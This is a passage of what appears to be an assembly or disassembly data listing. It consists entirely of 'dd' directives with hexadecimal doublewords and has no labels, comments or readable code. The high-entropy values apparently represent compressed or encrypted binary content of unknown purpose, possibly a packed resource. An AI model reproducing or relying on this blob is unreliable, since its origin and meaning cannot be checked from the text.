dd 400F5D0h, 5CFDA326h, 2EE8D9h, 4D7A48A2h, 0CAAB3059h
dd 31D5A700h, 3717EF28h, 0F4E70021h, 60CB8801h, 9A000C98h
dd 0A6499FDDh, 1E2BD4Bh, 0C4D9772Ch, 0C00A6626h, 0A400B2C7h
dd 0EC88066Eh, 4B84A2h, 0D5B9FB93h, 2EF4B315h, 1050AA00h
dd 5DED715Eh, 7D4908Dh, 0C9411A0Bh, 7F93109Eh, 50F22F21h
dd 0E9FCF400h, 7B8F83A0h, 0B5D45808h, 871D031Dh, 528ED8B7h
dd 0AC425143h, 0B9339400h, 96122609h, 0D404B2AAh, 2080FF7Eh
dd 1A41112h, 7673FA14h, 0CCB5E5C3h, 860099AFh, 0F73A6E30h
dd 0DFD878h, 3F4A44B9h, 0EF1BFC0Fh, 2DAB2300h, 0D3845B61h
dd 5582009Fh, 3A058147h, 75002A35h, 764E411Bh, 1F36B960h
dd 0CFC22Bh, 0ADBC43C8h, 1F0090DDh, 0D1FF068Bh, 0BB1B7Dh
dd 0D729D091h, 0E872D5C6h, 0F71B700h, 56971058h, 4EF44823h
dd 337F716h, 490D42E3h, 0C0E084B5h, 2881B47Ch, 9004EE0Eh
dd 577D60FBh, 0A6C9B35h, 27EB2518h, 0A0BA8090h, 0BE0A311Bh
dd 9385A600h, 29C57D2Ch, 38EA0BEBh, 44206C18h, 0C276BB15h
dd 6C552A24h, 493D4A04h, 0E67B4981h, 0FBDD8C50h, 670B078Fh
dd 0A01F3709h, 8703D77Fh, 0EF467E0Eh, 0A807001Bh, 0F8C657h
dd 8DACC824h, 1CCC9AA1h, 620B5100h, 3D59C0D0h, 962E0767h
dd 40A9EA09h, 0DFC81073h, 1A9B8309h, 0CF608026h, 0F351E18Ch
dd 0D35430h, 71506535h, 0E1FBFD4h, 2A265AEEh, 70266068h
dd 0D6032B00h, 2EC34Ah, 60221651h, 1341B797h, 0D1E9CB00h
dd 0EE0B3FBFh, 0C725041Ah, 80178270h, 6C9C6F89h, 0B2A1CE05h
dd 0C7C0E3E9h, 4CA422A5h, 4D0004D1h, 64133FAFh, 0BB005D97h
dd 82CC6FF8h, 6B7AB7h, 1E98B3A0h, 7156228h, 4588AE07h
dd 0C2916C5Ah, 49CC9418h
dd 3BF40025h, 0D47B9EFEh, 0B1004F5Dh, 2B1CD87Ah, 0F35E00Bh
dd 0A4C1480Fh, 4A6377E0h, 0CF399791h, 6ACB80F3h, 2C994E5Ah
dd 3B41000Fh, 0CD1D2E52h, 0DC006327h, 5805C05Dh, 98F5E156h
dd 0A7500A08h, 13C811E4h, 181840BCh, 6827E53Ch, 517F1D00h
dd 0D4FD1C86h, 0D1DD18EBh, 0B5653803h, 0E3F74900h, 0AADF1D06h
dd 131105CDh, 7D66877h, 0F0EDA8C4h, 0F54291FBh, 8D758F26h
dd 825BC00Bh, 4869EFB0h, 0F0376828h, 71C9F211h, 14250071h
dd 87EACB58h, 85E40C5Fh, 0CE88A800h, 5C211A5Dh, 0C2F62C86h
dd 822D408Ch, 0AE003A02h, 152BADECh, 7BFD0B68h, 0EB89001Eh
dd 0E6B8C69Fh, 0CB892A7h, 0DBDDD800h, 0B677BA3h, 75FB39FFh
dd 0C25AE780h, 582E4D2Dh, 583A400h, 4E233282h, 7AD000DEh
dd 0EB45C286h, 0B401DDB1h, 21342CEh, 87E4BF96h, 0CBD20115h
dd 0DD7B701Dh, 0E822CCBBh, 62404A1Eh, 5147AE00h, 0B2745h
dd 8D6CFEBDh, 12B0F81Dh, 0BBE836FAh, 48C85C24h, 0A1D1CD00h
dd 7516104Dh, 89E124DAh, 0C70700F0h, 191AD28Dh, 0EE3A0800h
dd 91846DACh, 5B700078h, 0DD4DB60h, 8B0EE42Ah, 0EF75087Ch
dd 0A6982137h, 0E1F4D08Ah, 36AD3E9Ah, 2D3CA884h, 48FA01C8h
dd 5072A61Fh, 9091A525h, 0CBB470F6h, 2070AA25h, 759C8144h
dd 50777FC8h, 65901Fh, 0B964FB82h, 4BDBC701h, 8C7D3EC0h
dd 3CF9E5BBh, 0FC50522Ah, 125C006Ch, 0E69088A5h, 0D83E02E8h
dd 0D62A0353h, 0EA0978D9h, 492C6057h, 0DD50006h, 0DB93C026h
dd 69383524h, 8ED2000Eh, 310295D0h, 9C665CACh, 0DC1C4A00h
dd 0D7E79D8Ch, 82F5FB00h, 7B08578Fh, 0C546009Ah, 0B2F6CAEFh
dd 1754D1E7h, 0E324A0ECh, 0BD0081D4h, 0A20B3DCh, 0DFDA0050h
dd 66B24F7Bh, 811C3FF0h, 118046FDh, 73E5A644h, 0CFC407D2h
dd 5F61BDBBh, 26E0C320h, 1F72B789h, 7D60FD00h, 787EBA17h
dd 3F0612C9h, 0E55C001Ch, 7F34C840h, 9D802094h, 0F1E8D3DAh
dd 98B2000Ah, 0F74077Dh, 4E00C476h, 9E13C643h, 97EB8Fh
dd 0EC68A218h, 0AA737B01h, 0F995F150h, 33D88E00h, 878AE364h
dd 622D0027h, 45348847h, 0DD2ED7F0h, 0EB054C03h, 0BEC0C6C8h
dd 0BB57EFh, 0BE4C2A8h, 0ACD9BA46h, 0A53A403Ah, 0A2F008A5h
dd 561FF200h, 875A55h, 926FFEF1h, 7D9E126Ch, 0E7E3F900h
dd 2AACEC2Bh, 810599Fh, 9632F600h, 4D50BC49h, 3F038E73h
dd 7C62F452h, 6DAFF8D4h, 1420EFE6h, 43280A32h, 0B55A0Dh
dd 871918EBh, 72B8B633h, 68792C00h, 58A2BC77h, 8B5D3F37h
dd 2BDB3605h, 2114A402h, 8031C43Fh, 94C35E52h, 9A0197h
dd 9DFF227Dh, 2730A58h, 0B102BC76h, 5653C152h, 9CF8E8F1h
dd 517E0041h, 0F89E0148h, 9248376h, 6F00B88Bh, 0E2F5ECDFh
dd 90B491h, 19ACC5E4h, 3D0096CFh, 352C4388h, 53ADA0h, 25CCEBEh
dd 0EEE1038Fh, 63691D01h, 7E057068h, 2482E2C0h, 5B8C9D6h
dd 0C061C0F2h, 57830834h, 8C7274ECh, 68264500h, 0D86CAF50h
dd 0A8A8A828h, 5FE33C98h, 0ABEBD680h, 4D0363B6h, 0D2904501h
dd 788A8934h, 0D8F6F8h, 0C4D5DF3Eh, 777029B4h, 0E2386A07h
dd 4BB039DCh, 5C1E2Ch, 2E996578h, 0BA3412B4h, 0DC1DD200h
dd 0AAE34658h, 0AC5200EBh, 74762690h, 83001C01h, 0B5A64F37h
dd 794DBD77h, 0C1300084h, 610A7CC3h, 0C700FA9Ch, 0A069E662h
dd 56A86FDh, 0F4961622h, 0AFCE008Ah, 0CEA6C31Eh, 886C071Fh
dd 1352BA80h, 2B7903h, 48F495FCh, 0E0027499h, 80445700h
dd 0D5928E34h, 0BC760056h, 35A4476Fh, 0AC00E11Ch, 1636A04Bh
dd 7FB6E7h, 9BFE84FBh, 0C7812C09h, 973B381Fh, 3005562Ch
dd 8C076DE1h, 6EE1E91Bh, 56C4FAD3h, 4E440378h, 28E29D57h
dd 6D088AD0h, 0ECFF6200h, 0FE11DACEh, 0D8840047h, 372E177Ah
dd 4009913h, 0D7944970h, 1A890ECh, 1CEB739Ch, 0C43045D9h
dd 7B0FBD2Ch, 20E96BFFh, 516F12D0h, 0B90F1F28h, 0A4A6004Dh
dd 2D5984F7h, 0D48D9200h, 0DCAF5B6h, 0D1184817h, 9110A600h
dd 2D4612C0h, 85D8C900h, 43838B7Bh, 0CF7003ABh, 0BF05AC63h
dd 0AF80F998h, 7A222F05h, 0B30031A4h, 700CADB4h, 27E80EB2h
dd 946090A1h, 5FB6A21Bh, 0B8467F00h, 0D5D034DAh, 0F8715Bh
dd 47A15E32h, 80BEC445h, 0F3043F00h, 6BD3D581h, 0C2E0007Ah
dd 5AEB6E4Eh, 8D00BBE6h, 78D09F66h, 0DBA30Ch, 0BADB912h
dd 0A855C03Eh, 5A9AEE00h, 8E895C85h, 1AECFB1Ch, 0F8B107B9h
dd 30059963h, 44B5786Eh, 9D75510Eh, 0EC01CC4h, 7D532713h
dd 468A0B2Ch, 3600F7A2h, 0CBF5FC95h, 17F00750h, 0C86B4700h
dd 0E0C1ED8Fh, 1FD79B1h, 0B7792BEEh, 0D80A3BDEh, 343AA887h
dd 0F30D079Eh, 58F0B6F8h, 6F513Dh, 42CA5EFEh, 6874D7CDh
dd 163EB44h, 5DCFF479h, 209ED40Fh, 0C9003874h, 33B46BEBh
dd 0F123F5h, 470DE6BBh, 7A55C6ACh, 82ADA600h, 722BE584h
dd 0BA0700DAh, 9BBE735Eh, 0A803C791h, 3894FC90h, 8804C31Ah
dd 1565DE2h, 9192223h, 0FC500F89h, 0FA505E73h, 1A00ACB2h
dd 875F48DCh, 0FE14CA54h, 0B334007Fh, 0B9F6D31h, 9D00A897h
dd 83994A44h, 8E1DA7h, 0E08A77E2h, 47115B71h, 9E69B43Fh
dd 4800BA51h, 0CC5E925h, 0C27900DBh, 1E934DA6h, 52E43ADFh
dd 0EAD8D900h, 7BF6290Ah, 90CE00A3h, 0D34EF024h, 0A00082D1h
dd 3E882F59h, 0D6F1CF04h, 0CD940118h, 0EC64CED5h, 9F18F913h
dd 0D268140Eh, 4CC70019h, 2B4DC371h, 0A9008D1Dh, 58D43729h
dd 2F53202h, 39C2095h, 0EC8008A7h, 796D7A89h, 0F612B90Ah
dd 138EE2Eh, 0FCB0AAB4h, 80C3268Fh, 9F951h, 70997157h
dd 0C19447F3h, 809D4000h, 0B123D62Ch, 60A2483Ch, 59308C00h
dd 69B8843Dh, 5FE0731Dh, 0F1BA47C0h, 4A5D16h, 11622E41h
dd 89A9A6DFh, 0A42B6F18h, 1ED1A890h, 80AABF0Ah, 5A92C857h
dd 0EA03D074h, 0FF148F7Bh, 0CB88E0Bh, 71FD87A4h, 923CF439h
dd 5AA79DFCh, 61EE9306h, 0BA1A3E18h, 0E6D5DE00h, 0A384C97Eh
dd 0FBD4800h, 59610560h, 2850EFDh, 0D66A0Eh, 0AF0DE92Ah
dd 0BF0009A7h, 83F7D96Eh, 0A02722Eh, 0C97AB1A4h, 6A55809Ch
dd 0FCCAFFD0h, 80902F6Fh, 2DF2BB8Ah, 0D6D40E99h, 2845F791h
dd 2B1000CAh, 0B1A26F9Eh, 49C0327Bh, 0E0D05BCBh, 7A28C149h
dd 0F027CCD9h, 4800BCB5h, 0E321551Fh, 606BE61Bh, 75094E56h
dd 6200AD82h, 472A6FB5h, 0D823C2h, 193D5C5Dh, 5EA81B4Ah
dd 735BB200h, 0E5155A90h, 1E873B85h, 0CA808EB9h, 1FF566DEh
dd 5300B92Dh, 505E38A7h, 705A7D14h, 74CE5C2Bh, 76FC3A07h
dd 0D0F23025h, 0E972BD90h, 0D20090B8h, 0C1A9D47Dh, 0FE0967h
dd 0D55D5EB6h, 0E77A3720h, 0EDC9EF00h, 76797F23h, 0BC5F3CABh
dd 7D50007Bh, 0C91FAF82h, 0B158A318h, 85E91516h, 48129E4h
dd 0E857DD63h, 7536995h, 3306E0B1h, 0C0E4C73Dh, 5CF37D93h
dd 0FAB83C04h, 4FC0A6CEh, 3A2CC437h, 7C801AD3h, 943A1C0Bh
dd 0A9002BDCh, 0B0848690h, 91B5BB2Ch, 8E680728h, 7F91A0EDh
dd 873BCF92h, 0E6074F0h, 0ECE65E21h, 34261EAEh, 14B1DF10h
dd 8B8020C4h, 0A7912DEDh, 2BFB208Ch, 0ECE35D01h, 0FF964E64h
dd 7A8802C0h, 1C6128ADh, 850801ECh, 0CCD54927h, 0A01EE18Fh
dd 0DF1CCEF8h, 78D20E14h, 0ABA99440h, 0F02F7F1Bh, 0B0F507F1h
dd 0F01ECB36h, 0AFC0613Dh, 0F7C3430Ch, 0AAC302Eh, 0E079D123h
dd 33BA7320h, 3013B730h, 56206883h, 8D2ADF0Dh, 0C403C8D0h
dd 0F7E66FC1h
dd 4D72D0A2h, 0BF08CC4Ah, 39006721h, 656E3A6Fh, 0E8B069Ch
dd 4D90F464h, 91A407D0h, 9A6926Bh, 76200611h, 7065C7ACh
dd 0B56F7A00h, 36096D03h, 0DB751Ah, 0B0CA2DBCh, 593462D0h
dd 0A39A1410h, 512612h, 7D5E1AD0h, 41F8921h, 19AC035Bh
dd 9D0C93Bh, 16632BDh, 306386DFh, 0CC00C822h, 99A809E1h
dd 1C0E6A0Ah, 8C6FB2B1h, 6F32120h, 0F93EB4B8h, 3F007190h
dd 0BDE5E67h, 1638F50h, 0FFAAEFE2h, 0C52BB7CDh, 486ED11Bh
dd 3F8CDC9Ch, 0F2916FC0h, 0E29E4Ah, 36F3864h, 8420EDF7h
dd 9D1EC901h, 369B42ABh, 80E55191h, 0F7E46FA3h, 0A1448C92h
dd 6F3B0089h, 8CA0D333h, 56009874h, 15859995h, 8CED45Ch
dd 0A42D143Ah, 0C902A11Fh, 607AA789h, 0CC8AF268h, 0BFF9A008h
dd 0C97D3Eh, 7B69EAA5h, 0C9A06A6h, 116B43B7h, 0DB1275F0h
dd 5C06BA48h, 46B0727Ah, 6FBF02F1h, 47B2F2B8h, 378D031Ch
dd 0F780D56Fh, 0EB12F021h, 34039363h, 0CA12D9Dh, 74F41B58h
dd 0F5185531h, 9118CDA0h, 9B75130Eh, 0F69C09A2h, 0E4E0B82Eh
dd 1A62431Fh, 3DE25F00h, 56A3E560h, 99F0094h, 7072B1B5h
dd 0F3044A3Fh, 0BE2C92CEh, 88DE898h, 0B79183EDh, 4B21D8CFh
dd 48EC1DE5h, 0BBCC80B9h, 0C022695h, 31BD651Eh, 246430DCh
dd 82C388Ch, 0A27C3009h, 0D0B1F3C0h, 0AA4A1C00h, 2AC9FC1Dh
dd 0A30300AEh, 60A18A35h, 0DC0036E0h, 32F5E8BBh, 6F72CF6h
dd 9185C4D0h, 0A80A88EFh, 88CEA91Bh, 0AF404F8Fh, 0B1850215h
dd 0CFECA028h, 19A8E054h, 398F674Ah, 53588739h, 788059F2h
dd 11D6EBEh, 0C3E4C035h, 80342F85h, 152357B9h, 2461DF51h
dd 5A0C152h, 0C064D42Ah, 0A81AB7E3h, 0BB8169C1h, 398C1C9Ch
dd 49E97414h, 0F0D4DE00h, 6005CE70h, 0C083008Bh, 7D76AB99h
dd 4F1F2B35h, 0E4E8C4D5h, 185EB73Ah, 8F483244h, 0F6BA01B4h
dd 0EA8361Ch, 5E38917Fh, 78C87705h, 5864D073h, 160A90EFh
dd 0D00A3E91h, 34B7BE80h, 62E99DB4h, 0D3EF60B0h, 7DE27C45h
dd 0A75218A2h, 0CCE93B3Ah, 0EC4344h, 0E235F58Eh, 26101595h
dd 8120B737h, 12CCF48Ch, 0A5298022h, 0BCCE4188h, 5E40595h
dd 8026A747h, 52ED01D3h, 2F0F1A01h, 98D12BF3h, 0BD38B882h
dd 1844F956h, 90CBB000h, 0D5ECDE7Dh, 15BE07E8h, 0D0E567A4h
dd 2F2C9729h, 4C89ED3Eh, 1DAC8530h, 60EB844Eh, 0B6E7E527h
dd 0C07F2655h, 0CA217484h, 650B8086h, 5AA8C11Bh, 0EECD220Ah
dd 50B2DC68h, 0B4C4307Eh, 69C2F4A0h, 8C2628A9h, 50BBF221h
dd 540503B3h, 4F96FA88h, 194AB5B0h, 0CE07F8A0h, 7D43956h
dd 0A6E6C962h, 407EC448h, 0CAC97968h, 0F24C901Dh, 64A34096h
dd 0AD5E6300h, 27C0AAEEh, 0F5E9005Fh, 38A18DC9h, 0C2C959Bh
dd 38A8C00Eh, 8BDC302h, 513D7C36h, 0B00A0034h, 16357E3Ch
dd 609D4B3Eh, 906C9130h, 0F854B277h, 185760D1h, 0B34F4385h
dd 0DF853C91h, 0E87E690h, 0C0FBD322h, 0B22CCCh, 89E451B4h
dd 0C6F7CD30h, 35C9E009h, 11F49706h, 0B46A80BFh, 16334F8h
dd 1560A284h, 0BB33E5E3h, 0E7450C90h, 2C01A876h, 512C3CB3h
dd 89618E6h, 9AF7E16Fh, 8A40BAC4h, 0F91E6F4Eh, 95542272h
dd 930096B4h, 495AA72Eh, 71E88Bh, 0CD5E0F0Dh, 819AD3D4h
dd 10B8FD5Ch, 8AC0B6CFh, 0DF8F80EDh, 0B0B0914Ch, 0ECE24Ah
dd 0BD49266Ch, 82EBC03Eh, 806CD648h, 7B4E220h, 0ABD80B7Dh
dd 44036747h, 0D7B73C84h, 90377494h, 0EB147338h, 58504500h
dd 791FB60Ch, 3CA95D30h, 0A2929784h, 2BFBE108h, 1F06010Ch
dd 69134399h, 40AC4C48h, 776FD981h, 40BC71FAh, 0E5DCC545h
dd 1409DE0Ah, 2A809C8Fh, 2163A42Fh, 9F6D015Ah, 805270EEh
dd 0F803C555h, 0A209989Dh, 11F1DEE7h, 0E51010ECh, 55005027h
dd 535DFFC6h, 98C22DB2h, 0C41013ECh, 1A28092Bh, 0D5899422h
dd 57748100h, 36330EC5h, 2DE0A979h, 0B1241BBEh, 9D7EC705h
dd 64CA711Dh, 0A201E223h, 3AF2C56Fh, 8E89A318h, 40A6FF0h
dd 157E5C87h, 7AEC98FCh, 5E0078B9h, 0D6EEC173h, 8CEA00F5h
dd 649721A0h, 5F7CB5C8h, 0C7B6B012h, 3C1C0Bh, 359DF60Ch
dd 0B9A890B3h, 20E20000h, 0DBE3FA30h, 2A3C47E8h, 0A7880201h
dd 411F1D43h, 0F458B580h, 60911233h, 80E4D48Eh, 7E190EE1h
dd 0E9B7A802h, 481E312Eh, 28C7A71Ch, 1C95279Ah, 81F1FA9Fh
dd 0F82C1FFBh, 0F866EA2Fh, 80D78E27h, 91276494h, 0F6D80008h
dd 96E20FA1h, 0EB0318A7h, 0B1D05DEh, 0A515C858h, 8DDF18C0h
dd 0E6148973h, 5B78A402h, 0C8E189BFh, 0E0F01708h, 55282A82h
dd 3A9406B4h, 71BEA71Bh, 873B524h, 0B7AC4C82h, 0B9CC60D9h
dd 847516A7h, 0D4241417h, 74090FC0h, 9600EA9Fh, 4F8091C2h
dd 7C2F6053h, 30015CE8h, 908C024h, 1C990804h, 0A900D37Ah
dd 21BFEFAEh, 2696DC31h, 52DCB189h, 79C4B065h, 0D4ABDE61h
dd 0E5B8286Ah, 15129398h, 548207A0h, 0C9803037h, 32A79811h
dd 0B251778Ch, 1901C9FCh, 0B59236EFh, 9DC88A57h, 0C871629Fh
dd 80580D7Ch, 61C5F20h, 97B4DCA5h, 31EB205Eh, 0B25C72C0h
dd 336230A8h, 8ECE3C3Fh, 24C56591h, 14D3FAB0h, 0D6F7C885h
dd 0DFA5006Eh, 4D98AF18h, 0F01E0AFFh, 0C4023E5h, 21AE1D94h
dd 5BDE2CBDh, 1B5D60FCh, 2800D752h, 2BE0353Dh, 0ED5832h
dd 0AADEC10Ch, 80BC4457h, 0AF707202h, 5191B068h, 2BFB7864h
dd 249E2486h, 841752FCh, 4780A311h, 0A797CDB6h, 34214B12h
dd 0B4F3C004h, 0E80B1099h, 30A3A084h, 49F3F5h, 38608930h
dd 53158BFBh, 0C8C85C2Eh, 48B7850Bh, 0EB9EC20h, 87292EC7h
dd 0E4202169h, 0D2FF9E65h, 9794300h, 5FDA3915h, 0BEFFEC3h
dd 0E0E3015Dh, 86E51C8Fh, 0F064D97Ah, 9910B509h, 0C9C46AE2h
dd 0B7F60086h, 0D567B4h, 32D743BBh, 0D09C531Ah, 280398D6h
dd 2309C903h, 81004EF9h, 1AA78DCBh, 4C30426Ah, 6BF865DFh
dd 0DB58C00h, 14B6C360h, 0CC59AF13h, 209E0A17h, 0DBA6F32Ch
dd 70BB5531h, 0B9841930h, 804D8C8Bh, 5E3A448Bh, 0B17AFEh
dd 73072100h, 5EB9523h, 8FBEA12Ah, 0B71C012Bh, 0F0016F35h
dd 0A82AF814h, 8C98C4AAh, 9929FA60h, 31610D3h, 0F15B6028h
dd 3BC3F3DFh, 0A8EAF8C8h, 1D00BCF4h, 0FF8BB42Dh, 3FA9FC5Ah
dd 79A51753h, 0CA081417h, 0AF304086h, 0B0F01FA1h, 9D89CB00h
dd 0D72A251Ch, 50C900ECh, 40CE5235h, 1300C0BAh, 178C8932h
dd 2F092h, 4D71442Bh, 9B1A426Ah, 736FCA00h, 0DC05824h
dd 3738C70Ch, 202EC1EBh, 46FFE434h, 5C0FEC07h, 0FD90231Dh
dd 0BCC572h, 3FAB2014h, 6ED1601Ch, 8D9CD903h, 0C1B315Ch
dd 0F8F42368h, 0E309A748h, 80214615h, 0C10E19F6h, 0F870CCBh
dd 0F868C578h, 0A1C0450Ch, 0BF805Bh, 0BC73672Ch, 1C2393FAh
dd 870049DCh, 7675890Eh, 9F3F196Fh, 8021083Eh, 0E2FDB21h
dd 0B0C1EBh, 5E345AFEh, 0FA9B31CFh, 0B56D1C0h, 60049DDFh
dd 0CB7610C1h, 0FF6937F5h, 82448021h, 0C3673E3h, 8F7B1DDFh
dd 21C0F208h, 5B829E39h, 856F05EDh, 7A4199h, 946A5A4h
dd 0CE0FA4B7h, 66E8186Dh, 30982233h, 80A1F326h, 72002F79h
dd 4973B69Fh, 3F6E0F51h, 0DA00CE53h, 2AA0C7CFh, 0EC00EAACh
dd 3B03BE58h, 20CB2B39h, 0F800CE10h, 955B886Ah, 0EFAB758h
dd 0FDFF400Ch, 8321D38Ch, 0A230F000h, 0EFEE807h, 0E9B00046h
dd 1940CDFDh, 0E31917D2h, 0D058021Ah, 38CDF318h, 2C125058h
dd 9B8A20D4h, 8301CA5Bh
dd 26B09DA5h, 2C2388E7h, 60CF5064h, 29A130F4h, 8549758h
dd 7F002B69h, 13025B9Ch, 0DA0078Eh, 76CF19E9h, 70041DDh
dd 8CBDECF4h, 3C9FDAEh, 716EA4CCh, 0F5B08191h, 5E71C21Ah
dd 0C0CA78C8h, 58945B8Dh, 80908F53h, 0BA30F584h, 492F0E18h
dd 0D495A355h, 62D17000h, 0FB8ECE3Ah, 57266100h, 12C53D04h
dd 0CDEEDDh, 0DE6225E2h, 0C42CF45Eh, 0DF0D9904h, 24821A45h
dd 822830EFh, 0A673E511h, 3B80FC88h, 0C85E8290h, 995A0CEFh
dd 0A648D0E5h, 96575C0Eh, 10482946h, 62A6FC8h, 8178FC8Eh
dd 710E28DAh, 80D068D5h, 65D203F9h, 0E08EF94Bh, 3EE0BFCAh
dd 8AF4DC7Bh, 72004679h, 4CAC2523h, 0EE5AE37Ch, 4079A2h
dd 737E0BEBh, 0DF3FDD75h, 0B8240C90h, 1F80A8DCh, 0F6F069Ah
dd 7F300D3h, 0BB9D2634h, 687F088Dh, 0D575AF02h, 471AC747h
dd 2ED46200h, 7C32318h, 51773A0h, 0F04526C1h, 9EA8B150h
dd 93023643h, 8E73C682h, 80CB6330h, 82009B38h, 4DFCA9B1h
dd 45AEA3h, 4AC6B714h, 912A10E7h, 0FE6CA51Ch, 2CF4DF0Fh
dd 0FC89C2h, 0DAE5B9E4h, 0A2CA111h, 9A8E4A07h, 4E30F329h
dd 1B8D06Fh, 1E999118h, 5042A32Bh, 0B9CCCEB4h, 0B2C4270Eh
dd 0DABFE6ECh, 28364908h, 0B9D4FF00h, 0F748E142h, 6A2EF604h
dd 18C062B1h, 39C45371h, 5B85F9F4h, 0E3DA699h, 0CE6FBECh
dd 411D18EEh, 39CC374Fh, 18571017h, 28CF4999h, 0DC010DA2h
dd 6D2538B2h, 2BECD265h, 9AFD2696h, 0EA0C098h, 3E4672F4h
dd 0E0002422h, 0AFB50E28h, 841232h, 0D6832B4Ah, 0DEE7A7D2h
dd 600FECA3h, 0C146214Eh, 0D91FE597h, 3A1818A6h, 22CDE890h
dd 0DC9E00F2h, 4B550C9Fh, 11148B89h, 26982C47h, 465E6438h
dd 0EF4F03D4h, 0FB0F23h, 33D99560h, 0DD5E5242h, 6CF76700h
dd 0D7F7D8Ah, 743C06A8h, 0A0DB5BE5h, 99582905h, 9801E2A4h
dd 0FF305373h, 2C04A445h, 1B00CB56h, 0CAB4615Dh, 9951B200h
dd 0EE1F340Bh, 460A12A2h, 3F600074h, 434165FCh, 9731ECA8h
dd 7120A0A9h, 0F18AD0ABh, 6568D562h, 0CA70685Dh, 0D3817E5Bh
dd 10343A81h, 0C8C3CB47h, 90EFE7D3h, 0AC46655Dh, 0DE1BB875h
dd 0DA49F199h, 0A848444Fh, 0A4249BA4h, 19F40098h, 0CB893FDh
dd 7204357Dh, 0A158FA46h, 8C3B7CC0h, 0F3CB2990h, 822C014Ch
dd 194671C1h, 943F20DEh, 95049182h, 7766E030h, 99DE080h
dd 8FF03AA2h, 2FDF397h, 93DE25A2h, 91282C83h, 0E886F4C1h
dd 6518CE8Ch, 0E9B93F40h, 29082E68h, 8FFA0992h, 0EA36030h
dd 9672F511h, 0DF802388h, 0A9560E2Bh, 5431009Dh, 83CBD8EBh
dd 5314F5E9h, 9F8D590h, 30281EA4h, 7DB9C9DCh, 10DA4692h
dd 0EE0021C7h, 0E791B9D1h, 1B096789h, 0E196BD9h, 0FC6878h
dd 2993099Fh, 5C9B5DF5h, 0AEA2D50Fh, 803BDD8Ah, 23315A3Dh
dd 7181609Eh, 794D0051h, 0BAF1E2CFh, 0B81436DBh, 817894FAh
dd 758E0E8Ah, 102631CAh, 20E32DAh, 443BAE22h, 3FC01419h
dd 4E2CE550h, 46DEF0CEh, 0D58400D3h, 2B28783Eh, 0B5750C8Bh
dd 0D850CB37h, 36B95317h, 1346D020h, 43E502BEh, 0C50CAB67h
dd 5FC1A540h, 0D0987098h, 0EF2CB890h, 0C90D9421h, 8C001876h
dd 9B89820Ch, 59896F8h, 2F3F578h, 0EFD59DB0h, 70203469h
dd 0B8002138h, 6F54B9D7h, 2AEBA603h, 1CD8DA4Eh, 0D6908Eh
dd 7065D49Ch, 9B00C7E9h, 0DAFDCF40h, 91D8C96Fh, 1860D1C0h
dd 0ABC00279h, 0DB1162D4h, 955894A0h, 0A4000E8Fh, 0D682BD6Ah
dd 76B6486h, 683D1159h, 48A52245h, 0DA15C894h, 18E4F2BFh
dd 9489F337h, 0F0520E18h, 92AB2393h, 0E017A8BAh, 6E94DF11h
dd 78906F03h, 71A803A9h, 0EF483443h, 12104884h, 586304AFh
dd 41E613h, 0CC751AB4h, 4CAA38Ah, 80F7E607h, 601E3FFCh
dd 92583E34h, 7BBD5C78h, 0BFC21B00h, 9487B837h, 0F3FBB404h
dd 0B888F684h, 0BE1F8C3Dh, 0D96E29BFh, 0B825CF12h, 0C6F990D0h
dd 70CD2EB9h, 0E2BB0828h, 82C05C00h, 0B040C58Fh, 710C916Ch
dd 1501807h, 0BA4ADC82h, 601AFB6Bh, 488C32E0h, 0C41465C3h
dd 30884CAAh, 0F058B8h, 2C836ED3h, 0CEEC308h, 0D05C4373h
dd 0C03C7CE8h, 0D8D42CCCh, 0E812E985h, 2400EC5Eh, 0D15DF187h
dd 36911EF6h, 4E1C80CBh, 0A140BDADh, 0C4A35101h, 907765A7h
dd 5C791FD0h, 9F04389Dh, 6F974B15h, 12A88000h, 615A1760h
dd 537C7120h, 5D04D0F5h, 205BEB2Ch, 0AC176731h, 0F03730B8h
dd 0FFAA80C9h, 702F3800h, 824357F5h, 0A82D555Ah, 34F1AC22h
dd 3F0C22h, 0D881AE99h, 0D0115E9Ah, 0CE004092h, 120C758Fh
dd 7E71BA86h, 8491011Dh, 0E099CF81h, 0FD2430E9h, 0E8426A41h
dd 822D30F0h, 3E71B812h, 4200B88Bh, 0FF438295h, 0CB2B45Bh
dd 0E022804Bh, 78B45939h, 2862B68h, 0A0C945E5h, 0CCC0A1F5h
dd 0C182CB0Ch, 0B8508838h, 3DBF39A6h, 0AACAED5h, 40FC1E7Ch
dd 0AA029007h, 3A7A355Fh, 0DC25CA4Eh, 3E3781Fh, 72EA0E86h
dd 3EE4CEB5h, 9A0E03DEh, 0E09BD409h, 798990F0h, 1B180EEFh
dd 2522A3ACh, 0D86C4B5Ah, 0BC30A448h, 9B178C33h, 0F8203CFAh
dd 0F02BD1Dh, 0A641798Ch, 0C24F569h, 0BFB8602Fh, 92C4082Bh
dd 0CB42CF61h, 0E1030021h, 4F38D5B9h, 7E20B9Fh, 15E50049h
dd 25CFA7ECh, 38022540h, 909F47E5h, 7A800D11h, 9CF9C8FFh
dd 0A61881E6h, 57211724h, 0FA7C0792h, 0D0AB2D64h, 668F8C91h
dd 0DA03C498h, 0C76A3481h, 68B100DBh, 10B0EA2Ch, 2D0E9ECDh
dd 634D8AC3h, 0E9596ADCh, 7870CE9Bh, 61F66024h, 90D33F88h
dd 0BAB61100h, 6FEBAB2Fh, 0A0B907F2h, 3B8FF493h, 0FD88C497h
dd 0F07F60CAh, 1E09D7ADh, 80CDE772h, 2279409Ch, 0C9533DE9h
dd 0DC909CF5h, 0C5E69C0Eh, 5845C1D7h, 0CC60ECFDh, 0AB8D7273h
dd 0F950D98Ch, 0DC091981h, 32159B11h, 5262001Ch, 0B723BA2Dh
dd 7BC5034Dh, 0EC1AC4B1h, 284B32C2h, 0E54225A0h, 1C926B48h
dd 0EEC06F6Eh, 794335F5h, 0A4F9007Ch, 9D545E04h, 709D55B6h
dd 0ACDA2420h, 99C0407Ch, 0CCA8DDB8h, 0AB005C6Bh, 0C99C4776h
dd 338E1F2h, 2BEFD369h, 8B955E99h, 0C036C84Ch, 0E5472537h
dd 8A1341F0h, 1800789Dh, 0F7A409AAh, 114C9027h, 23CDE979h
dd 0EA10B9Dh, 8E86A484h, 29E507DCh, 0D341060Eh, 8E44A88h
dd 2E57E054h, 481C488Dh, 2F3897CCh, 2B6C1008h, 0E10915C0h
dd 0E200F05Fh, 36BC629Eh, 2CCC915Ah, 50C45D8h, 950D6053h
dd 10DC2FDCh, 4DC02236h, 0D6F5B25Dh, 82152425h, 80B0973Ch
dd 0E869B6CBh, 0BEA839E3h, 0D05E4D80h, 5CC73B5Fh, 0D1B07012h
